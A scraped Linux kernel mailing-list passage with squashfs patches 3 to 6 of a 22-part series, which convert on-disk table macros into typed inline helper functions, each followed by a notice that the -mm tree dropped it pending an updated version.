squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 3/22 Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/fragment.c | 7 ++++--- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 31 insertions(+), 20 deletions(-)
fs/squashfs/fragment.c +4 -3
@@ -26,6 +26,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -42,8 +43,8 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,if (fragment >= msblk->fragments)return -EIO ; - block =SQUASHFS_FRAGMENT_INDEX (fragment); - offset =SQUASHFS_FRAGMENT_INDEX_OFFSET (fragment); + block =squashfs_fragment_index (fragment); + offset =squashfs_fragment_index_offset (fragment); start_block =le64_to_cpu (msblk->fragment_index[block]);
@@ -63,7 +64,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,__le64 *squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =SQUASHFS_FRAGMENT_INDEX_BYTES (fragments); +unsigned int length =squashfs_fragment_index_bytes (fragments);__le64 *table;/*
fs/squashfs/squashfs_fs.h +0 -17
@@ -107,23 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* fragment and fragment table defines */ -#define SQUASHFS_FRAGMENT_BYTES (A ) \ - ((A) * sizeof(struct squashfs_fragment_entry)) - -#define SQUASHFS_FRAGMENT_INDEX (A ) (SQUASHFS_FRAGMENT_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_OFFSET (A ) (SQUASHFS_FRAGMENT_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEXES (A ) ((SQUASHFS_FRAGMENT_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_BYTES (A ) (SQUASHFS_FRAGMENT_INDEXES(A) *\ - sizeof(u64)) -/* inode lookup table defines */ #define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64))
fs/squashfs/squashfs_helpers.h +27 -0
@@ -51,4 +51,31 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset) {return ((s64 )start <<16 ) | offset; } + +/* fragment and fragment table defines */ +static inline s64 squashfs_fragment_bytes (u32 fragments) +{ +return fragments *sizeof (struct squashfs_fragment_entry ); +} + +static inline s32 squashfs_fragment_index (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_fragment_index_offset (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_indexes (u32 fragments) +{ +return (squashfs_fragment_bytes (fragments) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_index_bytes (u32 fragments) +{ +return squashfs_fragment_indexes (fragments) *sizeof (long long ); +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-convert-squashfs_fragment_-to-inline-functions.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
has been removed from the -mm tree. Its filename was
squashfs-convert-squashfs_fragment_-to-inline-functions.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
Date: Wed, 11 Nov 2026 23:43:43 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/fragment.c | 7 ++++--- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 31 insertions(+), 20 deletions(-)
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-convert-squashfs_fragment_-to-inline-functions +4 -3
@@ -26,6 +26,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -42,8 +43,8 @@ int squashfs_frag_lookup(struct super_blif (fragment >= msblk->fragments)return -EIO ; - block =SQUASHFS_FRAGMENT_INDEX (fragment); - offset =SQUASHFS_FRAGMENT_INDEX_OFFSET (fragment); + block =squashfs_fragment_index (fragment); + offset =squashfs_fragment_index_offset (fragment); start_block =le64_to_cpu (msblk->fragment_index[block]);
@@ -63,7 +64,7 @@ int squashfs_frag_lookup(struct super_bl__le64 *squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =SQUASHFS_FRAGMENT_INDEX_BYTES (fragments); +unsigned int length =squashfs_fragment_index_bytes (fragments);__le64 *table;/*
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_fragment_-to-inline-functions +0 -17
@@ -107,23 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* fragment and fragment table defines */ -#define SQUASHFS_FRAGMENT_BYTES (A ) \ - ((A) * sizeof(struct squashfs_fragment_entry)) - -#define SQUASHFS_FRAGMENT_INDEX (A ) (SQUASHFS_FRAGMENT_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_OFFSET (A ) (SQUASHFS_FRAGMENT_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEXES (A ) ((SQUASHFS_FRAGMENT_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_BYTES (A ) (SQUASHFS_FRAGMENT_INDEXES(A) *\ - sizeof(u64)) -/* inode lookup table defines */ #define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_fragment_-to-inline-functions +27 -0
@@ -51,4 +51,31 @@ static inline s64 squashfs_mkinode(u32 s {return ((s64 )start <<16 ) | offset; } + +/* fragment and fragment table defines */ +static inline s64 squashfs_fragment_bytes (u32 fragments) +{ +return fragments *sizeof (struct squashfs_fragment_entry ); +} + +static inline s32 squashfs_fragment_index (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_fragment_index_offset (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_indexes (u32 fragments) +{ +return (squashfs_fragment_bytes (fragments) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_index_bytes (u32 fragments) +{ +return squashfs_fragment_indexes (fragments) *sizeof (long long ); +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 4/22 Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/export.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 16 ---------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 20 deletions(-)
fs/squashfs/export.c +5 -4
@@ -31,6 +31,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -39,8 +40,8 @@static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =SQUASHFS_LOOKUP_BLOCK (ino_num -1 ); -int offset =SQUASHFS_LOOKUP_BLOCK_OFFSET (ino_num -1 ); +int blk =squashfs_lookup_block (ino_num -1 ); +int offset =squashfs_lookup_block_offset (ino_num -1 );u64 start;__le64 ino;int err;
@@ -115,8 +116,8 @@ static struct dentry *squashfs_get_parent(struct dentry *child)__le64 *squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =SQUASHFS_LOOKUP_BLOCK_BYTES (inodes); -unsigned int indexes =SQUASHFS_LOOKUP_BLOCKS (inodes); +unsigned int length =squashfs_lookup_block_bytes (inodes); +unsigned int indexes =squashfs_lookup_blocks (inodes);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h +0 -16
@@ -107,22 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* inode lookup table defines */ -#define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64)) - -#define SQUASHFS_LOOKUP_BLOCK (A ) (SQUASHFS_LOOKUP_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_OFFSET (A ) (SQUASHFS_LOOKUP_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCKS (A ) ((SQUASHFS_LOOKUP_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_BYTES (A ) (SQUASHFS_LOOKUP_BLOCKS(A) *\ - sizeof(u64)) -/* uid/gid lookup table defines */ #define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int))
fs/squashfs/squashfs_helpers.h +27 -0
@@ -78,4 +78,31 @@ static inline s32 squashfs_fragment_index_bytes(u32 fragments) {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } + +/* inode lookup table defines */ +static inline s64 squashfs_lookup_bytes (u32 inodes) +{ +return (s64 ) inodes *sizeof (s64); +} + +static inline s32 squashfs_lookup_block (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_lookup_block_offset (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_blocks (u32 inodes) +{ +return (squashfs_lookup_bytes (inodes) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_block_bytes (u32 inodes) +{ +return squashfs_lookup_blocks (inodes) *sizeof (long long ); +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-convert-squashfs_lookup_-to-inline-functions.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: convert SQUASHFS_LOOKUP_* to inline functions has been removed from the -mm tree. Its filename was squashfs-convert-squashfs_lookup_-to-inline-functions.patch
The quilt patch titled
Subject: Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
has been removed from the -mm tree. Its filename was
squashfs-convert-squashfs_lookup_-to-inline-functions.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
Date: Wed, 11 Nov 2026 23:43:44 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/export.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 16 ---------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 20 deletions(-)
fs/squashfs/export.c renamed from fs/squashfs/export.c~squashfs-convert-squashfs_lookup_-to-inline-functions +5 -4
@@ -31,6 +31,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -39,8 +40,8 @@static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =SQUASHFS_LOOKUP_BLOCK (ino_num -1 ); -int offset =SQUASHFS_LOOKUP_BLOCK_OFFSET (ino_num -1 ); +int blk =squashfs_lookup_block (ino_num -1 ); +int offset =squashfs_lookup_block_offset (ino_num -1 );u64 start;__le64 ino;int err;
@@ -115,8 +116,8 @@ static struct dentry *squashfs_get_paren__le64 *squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =SQUASHFS_LOOKUP_BLOCK_BYTES (inodes); -unsigned int indexes =SQUASHFS_LOOKUP_BLOCKS (inodes); +unsigned int length =squashfs_lookup_block_bytes (inodes); +unsigned int indexes =squashfs_lookup_blocks (inodes);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_lookup_-to-inline-functions +0 -16
@@ -107,22 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* inode lookup table defines */ -#define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64)) - -#define SQUASHFS_LOOKUP_BLOCK (A ) (SQUASHFS_LOOKUP_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_OFFSET (A ) (SQUASHFS_LOOKUP_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCKS (A ) ((SQUASHFS_LOOKUP_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_BYTES (A ) (SQUASHFS_LOOKUP_BLOCKS(A) *\ - sizeof(u64)) -/* uid/gid lookup table defines */ #define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_lookup_-to-inline-functions +27 -0
@@ -78,4 +78,31 @@ static inline s32 squashfs_fragment_inde {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } + +/* inode lookup table defines */ +static inline s64 squashfs_lookup_bytes (u32 inodes) +{ +return (s64 ) inodes *sizeof (s64); +} + +static inline s32 squashfs_lookup_block (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_lookup_block_offset (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_blocks (u32 inodes) +{ +return (squashfs_lookup_bytes (inodes) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_block_bytes (u32 inodes) +{ +return squashfs_lookup_blocks (inodes) *sizeof (long long ); +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 5/22 Squashfs: convert SQUASHFS_ID_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/id.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 15 --------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 19 deletions(-)
fs/squashfs/id.c +5 -4
@@ -24,6 +24,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -33,8 +34,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index, unsigned int *id) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_ID_BLOCK (index); -int offset =SQUASHFS_ID_BLOCK_OFFSET (index); +int block =squashfs_id_block (index); +int offset =squashfs_id_block_offset (index);u64 start_block;__le32 disk_id;int err;
@@ -60,8 +61,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index,__le64 *squashfs_read_id_index_table (struct super_block *sb,u64 id_table_start,u64 next_table,unsigned short no_ids) { -unsigned int length =SQUASHFS_ID_BLOCK_BYTES (no_ids); -unsigned int indexes =SQUASHFS_ID_BLOCKS (no_ids); +unsigned int length =squashfs_id_block_bytes (no_ids); +unsigned int indexes =squashfs_id_blocks (no_ids);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h +0 -15
@@ -107,21 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* uid/gid lookup table defines */ -#define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int)) - -#define SQUASHFS_ID_BLOCK (A ) (SQUASHFS_ID_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_OFFSET (A ) (SQUASHFS_ID_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCKS (A ) ((SQUASHFS_ID_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_BYTES (A ) (SQUASHFS_ID_BLOCKS(A) *\ - sizeof(u64))/* xattr id lookup table defines */ #define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id))
fs/squashfs/squashfs_helpers.h +27 -0
@@ -105,4 +105,31 @@ static inline s32 squashfs_lookup_block_bytes(u32 inodes) {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } + +/* uid lookup table defines */ +static inline s32 squashfs_id_bytes (u16 ids) +{ +return (s32 ) ids *sizeof (unsigned int ); +} + +static inline s32 squashfs_id_block (u16 ids) +{ +return squashfs_id_bytes (ids) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_offset (u16 ids) +{ +return squashfs_id_bytes (ids) %SQUASHFS_METADATA_SIZE ; +} + +static inline s8 squashfs_id_blocks (u16 ids) +{ +return (squashfs_id_bytes (ids) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_bytes (u16 ids) +{ +return squashfs_id_blocks (ids) *sizeof (long long ); +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-convert-squashfs_id_-to-inline-functions.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: convert SQUASHFS_ID_* to inline functions has been removed from the -mm tree. Its filename was squashfs-convert-squashfs_id_-to-inline-functions.patch
The quilt patch titled
Subject: Squashfs: convert SQUASHFS_ID_* to inline functions
has been removed from the -mm tree. Its filename was
squashfs-convert-squashfs_id_-to-inline-functions.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_ID_* to inline functions
Date: Wed, 11 Nov 2026 23:43:45 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/id.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 15 --------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 19 deletions(-)
fs/squashfs/id.c renamed from fs/squashfs/id.c~squashfs-convert-squashfs_id_-to-inline-functions +5 -4
@@ -24,6 +24,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -33,8 +34,8 @@ int squashfs_get_id(struct super_block * unsigned int *id) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_ID_BLOCK (index); -int offset =SQUASHFS_ID_BLOCK_OFFSET (index); +int block =squashfs_id_block (index); +int offset =squashfs_id_block_offset (index);u64 start_block;__le32 disk_id;int err;
@@ -60,8 +61,8 @@ int squashfs_get_id(struct super_block *__le64 *squashfs_read_id_index_table (struct super_block *sb,u64 id_table_start,u64 next_table,unsigned short no_ids) { -unsigned int length =SQUASHFS_ID_BLOCK_BYTES (no_ids); -unsigned int indexes =SQUASHFS_ID_BLOCKS (no_ids); +unsigned int length =squashfs_id_block_bytes (no_ids); +unsigned int indexes =squashfs_id_blocks (no_ids);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_id_-to-inline-functions +0 -15
@@ -107,21 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* uid/gid lookup table defines */ -#define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int)) - -#define SQUASHFS_ID_BLOCK (A ) (SQUASHFS_ID_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_OFFSET (A ) (SQUASHFS_ID_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCKS (A ) ((SQUASHFS_ID_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_ID_BLOCK_BYTES (A ) (SQUASHFS_ID_BLOCKS(A) *\ - sizeof(u64))/* xattr id lookup table defines */ #define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_id_-to-inline-functions +27 -0
@@ -105,4 +105,31 @@ static inline s32 squashfs_lookup_block_ {return squashfs_lookup_blocks (inodes) *sizeof (long long ); } + +/* uid lookup table defines */ +static inline s32 squashfs_id_bytes (u16 ids) +{ +return (s32 ) ids *sizeof (unsigned int ); +} + +static inline s32 squashfs_id_block (u16 ids) +{ +return squashfs_id_bytes (ids) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_offset (u16 ids) +{ +return squashfs_id_bytes (ids) %SQUASHFS_METADATA_SIZE ; +} + +static inline s8 squashfs_id_blocks (u16 ids) +{ +return (squashfs_id_bytes (ids) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_id_block_bytes (u16 ids) +{ +return squashfs_id_blocks (ids) *sizeof (long long ); +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 6/22 Squashfs: convert SQUASHFS_XATTR_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/squashfs_fs.h | 19 ----------------- fs/squashfs/squashfs_helpers.h | 37 ++++++++++++++++++++++++++++++++++ fs/squashfs/xattr.c | 18 ++++++++--------- fs/squashfs/xattr_id.c | 9 +++++---- 4 files changed, 51 insertions(+), 32 deletions(-)
fs/squashfs/squashfs_fs.h +0 -19
@@ -107,25 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* xattr id lookup table defines */ -#define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id)) - -#define SQUASHFS_XATTR_BLOCK (A ) (SQUASHFS_XATTR_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_OFFSET (A ) (SQUASHFS_XATTR_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCKS (A ) ((SQUASHFS_XATTR_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_BYTES (A ) (SQUASHFS_XATTR_BLOCKS(A) *\ - sizeof(u64)) -#define SQUASHFS_XATTR_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_XATTR_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h +37 -0
